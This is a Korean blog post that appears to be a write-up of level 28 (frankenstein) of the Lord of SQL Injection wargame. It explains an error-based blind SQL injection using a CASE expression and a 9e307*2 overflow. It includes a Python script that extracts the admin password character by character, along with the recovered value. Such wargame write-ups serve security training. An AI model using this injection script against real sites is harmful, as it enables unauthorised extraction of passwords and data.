본문 바로가기
3. 웹 애플리케이션 취약점 진단/Lord of Sql Injection

lord of sql injection 28번 - frankenstein

by Robert8478 2023. 12. 22.

이번 문제도 난이도가 상당하다. 어려워서 정보를 참고했다. 우선 id가 admin인 곳의 pw를 알아내면 되는데
필터링으로 인해 오류가 나서 아무래도 error based SQLI를 써야하는것 같다.
if문을 쓸수 없어서 case 문을 사용하고 오류를 발생시키기 위한 값인 9e307*2 를 넣어주어 오류를 유발하였다.
9e307*2 값은 큰 숫자값이 들어가서 오류를 일으키는 형태이다.
다른 숫자도 넣어보았는데 이 숫자만 제대로 되는것 같다.

pw의 값을 검증하고 참이면 오류를 발생, 그게 아니면 0을 반환한다. 
이것을 코드에 활용해서 패스워드를 알아낼 수 있다.

frankenstein.py
import urllib.request
import requests


headers = {'Cookie':'PHPSESSID=gogqpsaj2mbq7b9ng6gnlchkte'}
hex_pw=''
pw=""

for i in range(1, 100):
    for j in range(16,255):
        query="1' or id='admin' and case when pw<0x{}{} then 9e307*2 else 0 end--+-".format(hex_pw, hex(j).split('0x')[1])
        req = requests.get(url+query,headers=headers)
        if req.text.find('<hr><br>error') != -1:
            pw += chr(j-1)
            hex_pw += hex(j-1).split('0x')[1]
            print("found[{}] = {} >>>  {}".format(i,chr(j-1),pw))
            break
print("pass is {}",format(pw))
           

코드를 실행한 결과 pw는 0dc4efbb 가 나왔다.